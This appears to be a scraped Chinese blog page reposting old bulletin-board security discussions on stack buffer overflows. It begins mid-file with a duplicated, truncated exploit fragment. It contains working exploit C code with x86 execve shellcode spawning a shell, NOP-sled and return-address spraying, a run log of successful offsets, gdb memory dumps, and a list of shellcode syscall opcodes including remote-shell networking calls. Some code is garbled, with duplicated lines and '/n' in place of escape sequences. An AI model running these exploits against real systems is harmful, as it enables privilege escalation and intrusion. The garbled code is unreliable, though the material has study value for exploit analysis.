}

void main(int argc, char *argv[]) {
  char *buffer, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
    if (argc > 3) eggsize = atoi(argv[3]);


  if (!(buffer = malloc(bsize))) {
    printf("Can't allocate memory./n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {

void main(int argc, char *argv[]) {
  char *buffer, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);


  if (!(buffer = malloc(bsize))) {
    printf("Can't allocate memory./n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
      printf("Can't allocate memory./n");
      exit(0);
  }

  addr = get_esp() - offset;
  printf("Using address: 0x%x/n", addr);

  ptr = buffer;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  egg[eggsize - 1] = '/0';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  execl( "/home/tt/overflow", "overflow", buffer, 0 );

}





版权所有,未经许可,不得转载
欢迎访问我们的站点http://www.isbase.com/
绿色兵团给您安全的保障

发信人: cloudsky (小四), 信区: Security
标 题: shellcode延伸讨论
发信站: 武汉白云黄鹤站 (Thu Mar 9 21:40:40 2000), 站内信件
1. 一个问题程序overflow.c
/* gcc -g -ggdb -static -o overflow overflow.c */
int main ( int argc, char * argv[] )
{
char buffer[ 256 ] = "";
if ( argc > 1 )
{
strcpy( buffer, argv[1] );
puts( buffer );
}
else
{
puts( "Argv[1] needed!" );
}
return 0;
}
}
2. <a class='Channel_KeyLink' href='http://www.77169.com/Article/Special/Special3/Index.html'>溢出攻击</a>程序overflow_ex.c
/* gcc -g -ggdb -static -o overflow_ex overflow_ex.c */
#define BUFFER_SIZE 256
#define DEFAULT_OFFSET 64
unsigned long get_esp ()
{
__asm__
("
movl %esp, %eax
");
}
int main ( int argc, char * argv[] )
{
char shellcode[] =
"/xeb/x1f/x5e/x89/x76/x09/x31/xc0/x88/x46/x08/x89/x46/x0d/xb0/x0b"
"/x89/xf3/x8d/x4e/x09/x8d/x56/x0d/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/ksh";
char * buffer = 0;
unsigned long * pAddress = 0;
char * pChar = 0;
int i;
int offset = DEFAULT_OFFSET;
if ( argc > 1 ) /* 就懒得做命令行参数检查了 */
{
offset = atoi( argv[1] );
}
buffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
if ( buffer == 0 )
{
puts( "Can't allocate memory" );
exit( 0 );
}
pChar = buffer;
/* fill start of buffer with nops */
memset( pChar, 0x90, BUFFER_SIZE - strlen( shellcode ) );
pChar += ( BUFFER_SIZE - strlen( shellcode ) );
/* stick asm code into the buffer */
for ( i = 0; i < strlen( shellcode ); i++ )
{
*( pChar++ ) = shellcode[ i ];
}
pAddress = ( unsigned long * )pChar;
for ( i = 0 ; i < ( BUFFER_SIZE / 4 ); i++ )
{
{
*( pAddress++ ) = get_esp() + offset; /* 返回地址 */
}
pChar = ( char * )pAddress;
*pChar = 0;
execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer, 0 );
return 0;
}
[scz@ /home/scz/src]> gcc -g -ggdb -static -o overflow overflow.c
[scz@ /home/scz/src]> gcc -g -ggdb -static -o overflow_ex overflow_ex.c
[scz@ /home/scz/src]> ./overflow_ex -800 (溢出失败)
Segmentation fault (core dumped)
[scz@ /home/scz/src]> ./overflow_ex -700 (溢出成功)
[scz@ /home/scz/src]> ./overflow_ex 0 (溢出成功)
[scz@ /home/scz/src]> ./overflow_ex 64 (溢出成功)
(也是缺省值,值得注意的是64前后的值效果差别很大,比如59可以成功,但58/60全部
失败)
[scz@ /home/scz/src]> ./overflow_ex 65 (溢出失败)
Illegal instruction (core dumped)
[scz@ /home/scz/src]>
可以看出,有些是指针指向不可访问区域导致段溢出,有些是返回地址指向的
区域不包含有效Intel CPU指令(实际就是无法正确反汇编出正常指令)。具体的
offset应该为多少,这个和overflow.c/overflow_ex.c以及编译选项有关。
这次的例子一般在-179 <--> +31之间就很好,我说的是普通用户,如果是root,
offset取值范围的变化还是很明显的。
3. 下面我们用gdb来看看发生了什么事
[scz@ /home/scz/src]> gdb ./overflow_ex
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x80481a8 : pushl %ebp
0x80481a9 : movl %esp,%ebp
0x80481ab : subl $0x48,%esp
0x80481ae : pushl %edi
0x80481af : pushl %esi
0x80481b0 : pushl %ebx
... ...
0x80482f2 : movl 0xffffffc8(%ebp),%eax
0x80482f5 : movl %eax,0xffffffc4(%ebp)
0x80482f8 : movl 0xffffffc4(%ebp),%eax
0x80482fb : movb $0x0,(%eax)
0x80482fe : pushl $0x0
0x8048300 : movl 0xffffffcc(%ebp),%eax
0x8048303 : pushl %eax
0x8048304 : pushl $0x806f645
0x8048309 : pushl $0x806f645
0x804830e : call 0x804d390
0x8048313 : addl $0x10,%esp
0x8048316 : xorl %eax,%eax
0x8048318 : jmp 0x8048320
0x804831a : leal 0x0(%esi),%esi
0x8048320 : leal 0xffffffac(%ebp),%esp
0x8048323 : popl %ebx
0x8048324 : popl %esi
0x8048325 : popl %edi
0x8048326 : leave
0x8048327 : ret
End of assembler dump.
(gdb) list 46,56
46 *( pChar++ ) = shellcode[ i ];
47 }
48 pAddress = ( unsigned long * )pChar;
49 for ( i = 0 ; i < ( BUFFER_SIZE / 4 ); i++ )
50 {
51 *( pAddress++ ) = get_esp() + offset; /* 返回地址 */
52 }
52 }
53 pChar = ( char * )pAddress;
54 *pChar = 0;
55 execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffe
r, 0 );
56 return 0;
(gdb) break 55
Breakpoint 1 at 0x80482fe: file overflow_ex.c, line 55.
(gdb) run
Starting program: /home/scz/src/./overflow_ex
Breakpoint 1, main (argc=1, argv=0xbffffd94) at overflow_ex.c:55
55 execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffe
r, 0 );
(gdb) p buffer < ---- 八进制的/220就是0x90,NOP指令
$1 = 0x8079da8 '/220' ...
(gdb) x/513bx 0x8079da8
0x8079da8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
< ---- NOP指令
... ...
0x8079e78: 0x90 0x90 0xeb 0x1f 0x5e 0x89 0x76 0x09

0x8079e80: 0x31 0xc0 0x88 0x46 0x08 0x89 0x46 0x0d


0x8079e88: 0xb0 0x0b 0x89 0xf3 0x8d 0x4e 0x09 0x8d

0x8079e90: 0x56 0x0d 0xcd 0x80 0x31 0xdb 0x89 0xd8

0x8079e98: 0x40 0xcd 0x80 0xe8 0xdc 0xff 0xff 0xff

0x8079ea0: 0x2f 0x62 0x69 0x6e 0x2f 0x6b 0x73 0x68
< ---- shellcode到此结束
0x8079ea8: 0x28 0xfd 0xff 0xbf 0x28 0xfd 0xff 0xbf
< ---- 用于覆盖的返回地址
... ... 这个地址在offset缺省等于64的情况下是0xbffffd28
0x8079fa0: 0x28 0xfd 0xff 0xbf 0x28 0xfd 0xff 0xbf

0x8079fa8: 0x00
(gdb) inf reg
... ...
esp: 0xbffffcf0 -1073742608 < ---- 注意到esp是0xbffffcf0,0xbffffd28 -
64 = 0xbffffce8
应该意识到malloc是在heap中申请<a class='Channel_KeyLink' href='http://idc.77169.com'>空间</a>,
而局部变量
是在stack中分配<a class='Channel_KeyLink' href='http://idc.77169.com'>空间</a>。
ebp: 0xbffffd44 -1073742524
... ...
eip: 0x80482fe 134513406
... ...
(gdb) p &offset < ---- 最后一个局部变量,esp与&offset之间还有16个字节
$2 = (int *) 0xbffffd00
(gdb) p &i
$3 = (int *) 0xbffffd04
(gdb) p &buffer
$4 = (char **) 0xbffffd10
(gdb) p &shellcode < ---- 第一个局部变量,注意内存<a class='Channel_KeyLink' href='http://idc.77169.com'>空间</a>的分配方向
$5 = (char (*)[47]) 0xbffffd14
(gdb) x/20bx $esp+16
0xbffffd00: 0x40 0x00 0x00 0x00 0x40 0x00 0x00 0x00

0xbffffd08: 0xa8 0x9f 0x07 0x08 0xa8 0x9f 0x07 0x08

0xbffffd10: 0xa8 0x9d 0x07 0x08
(gdb) x/46bx $esp+16+20 < ---- 5个局部变量总共20字节,这里开始的是shellcode
0xbffffd14: 0xeb 0x1f 0x5e 0x89 0x76 0x09 0x31 0xc0

0xbffffd1c: 0x88 0x46 0x08 0x89 0x46 0x0d 0xb0 0x0b


0xbffffd24: 0x89 0xf3 0x8d 0x4e 0x09 0x8d 0x56 0x0d

0xbffffd2c: 0xcd 0x80 0x31 0xdb 0x89 0xd8 0x40 0xcd

0xbffffd34: 0x80 0xe8 0xdc 0xff 0xff 0xff 0x2f 0x62

0xbffffd3c: 0x69 0x6e 0x2f 0x6b 0x73 0x68
(gdb)
$esp + 16 + 20 + 46 = 0xbffffd42
$ebp = 0xbffffd44
为什么会多出来两个字节呢,因为编译器考虑了大量的4字节对齐问题,这里
$ebp - $esp = 84
84是4的整数倍,而82不是的。
4. 观察overflow.c的源代码,如果$ebp也等于0xbffffd44的话,地址0xbffffd28是
位于正常的buffer[256]<a class='Channel_KeyLink' href='http://idc.77169.com'>空间</a>中的,这个位置将来会被NOP指令填充。如果offset
比64小,0xbffffd28也相应减小,还是位于NOP指令填充区。
假设通过execl调用的overflow流程中
$ebp = 0xbffffd44 ( 这个即使有偏差也不会很大 )
$ebp - 256 = 0xbffffc44 ( 给buffer[256]分配<a class='Channel_KeyLink' href='http://idc.77169.com'>空间</a> )
0xbffffd28 - 64 - 0xbffffc44 = 164
0xbffffd44 - ( 0xbffffd28 - 64 ) = 92
就是说,按照这个推理,./overflow_ex -164应该溢出成功,而且
./overflow_ex 92也应该溢出成功,事实上后者溢出失败。不过这
里以64为基准研究不科学,应该是用0的,因为64前后都溢出失败,
说明64本身溢出成功不是简单地靠返回地址落入NOP区,而0的确是
靠返回地址落入NOP区溢出成功。64、59这些溢出点都是因为什么
机制而溢出成功的呢?因为目前我对gdb的调试功能研究不透彻,
无法调试execl出来的进程<a class='Channel_KeyLink' href='http://idc.77169.com'>空间</a>,没办法。
似乎可以考虑在overflow.c中增加sleep()调用,然后用ps找到PID,
然后利用attach功能来调试?没有尝试过多进程调试,很昏。
5. 现在我也开始不理解了,为什么 -700 这种offset也能溢出成功。
究竟这些非常规的溢出点,我是说和-179 <--> +31相比,为什么
能够溢出成功。总不成-700这种溢出点到了overflow_ex进程存在
时malloc出来的heap区,或许execl替换进程<a class='Channel_KeyLink' href='http://idc.77169.com'>空间</a>的时候并没有清
除以前进程<a class='Channel_KeyLink' href='http://idc.77169.com'>空间</a>里的数据,而那里有完整的用于溢出的代码,按照
我这个假设,就是说offset总有两大段区域可供选择,在0附近和
-700附近分别有两个大约256字节宽度的NOP区。你们什么看法?
啊哈,要是我这个胡说八道成立,可以考虑在overflow_ex中先
malloc一堆无用<a class='Channel_KeyLink' href='http://idc.77169.com'>空间</a>,把heap区向高地址推进,避免overflow进程
中malloc破坏了overflow_ex进程残留下来的heap区数据,同时
保证overflow_ex中始终用malloc来构造shellcode,要是用固定
数组来构造shellcode,因为使用了stack区,估计很容易被破坏
掉。这样,我们可以选择的溢出点就多了一倍,要么进入常规溢
出点,要么加大粒度进入残留heap区,当然offset要向负方向增
长(根据get_esp后面是+还是-决定)。
可是59、64又该如何解释,碰巧有跳转指令么,那也太玄了,我倒。
归根结底还是我们不知道如何调试execl出来的进程,chat* sigh。
--
我问飘逝的风:来迟了?
风感慨:是的,他们已经宣战。
我问苏醒的大地:还有希望么?
大地揉了揉眼睛:还有,还有无数代的少年。
我问长空中的英魂:你们相信?
英魂带着笑意离去:相信,希望还在。

发信人: ipxodi (乐乐), 信区: Security
标  题: 关于《shellcode技术探讨》
发信站: 武汉白云黄鹤站 (Mon Feb 21 11:23:50 2000), 转信


1:关于shellcode里面的exit()

小四说过exit没有必要。他写了一个shellcode来证明。
其实exit对于一个已经确定了offset的exploit确实没有必要。
因为在execve成功执行之后,
exit()是不会被执行的。针对shellcode,就是:
如果成功执行了第一个int 80,就不会再执行第二个int 80。
exit是为了我们找漏洞写exploit时候调试的方便。而且大家在
尝试的时候很可能找不到sh(大家不要笑,这是很可能的,如果敌人
chroot了你就找不到sh),或者由于什么别的原因execve失败。
这个exit可以不让你的程序乱跑。

2:关于敌人的buffer太小

在alphe one的经典名著里面详细的提到了这个问题,他使用了环境变量的
方法来解决这个问题。我觉得他的方法实用性很强,因为使用新环境变量的
shell可以对付buffer正常和两种情况。算法具有普遍性。

3:关于shellcode的识别

shellcode可以写的非常大,里面什么都有。不过,现在来看,就是两种:
a:开一个shell
b:开一个远程shell


下面是我总结的常用的系统调用汇编代码
xcd/x80 //int 80
xb0/x17 //movb $17,al   0x17号syscall   setuid(n)
xb0/x0b //movb $0b,al   0x0b号syscall   execve
xb0/x01 //movb $01,al   0x01号syscall   exit
xb0/x3f //movb $3f,al   0x3f号syscall   dup2
xb0/x3d //movb $3d,al   0x3d号syscall   chroot


xb0/x66 //movb $66,al   0x66号syscall   网络
        /xb3/x04        movb $0x4,%bl   listen
        /xb3/x02        movb $0x2,%bl   bind
        /xb3/x05        movb $0x5,%bl   accept
        /xb3/x01        movb $0x1,%bl   socket
xb0/x02 //movb $02,al   0x02号syscall   fork
xb0/x27 //movb $27,al   0x27号syscall   mkdir

大家应该看到,如果是开一个shell的,肯定有xb0/x0b        //movb $0b,al   0x0b号
syscall execve。
如果是开一个远程shell的,那么网络相关的系统调用一个也不能少:listen,
bind,accect,socket.

这可以作为一个判断的依据。如果有objdump看以看细致的分析一下最好。

4:关于高级缓冲区溢出中的seteuid(getuid())的问题

绿色兵团的翻译是忠实于原文的,
The setuid root program which knows that work with root permission is
very
dangerous calls seteuid(getuid()) at start. And it calls seteuid(0) when
it is
needed. Many programmer thinks that it's safe after calling
seteuid(getuid()).
However, it's not true. The uid can be back to 0.

原文说的没有错。

对于小四说的ping的技巧,是一个很好的思路。我以后的程序也应该用这个。。。

不过,恐怕一般程序里面没这样的条件。因为参数的获得都是在程序开始的事情,
也就是说,
刚开始就已经进行了strcpy,scanf(%s了,这时候还什么都没干呢,不可能
setuid的。
所以一般都是采用seteuid的方法。





--
※ 修改:.ipxodi 于 Feb 21 11:24:47 修改本文.[FROM: 202.112.101.131]
※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 202.112.101.131]
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值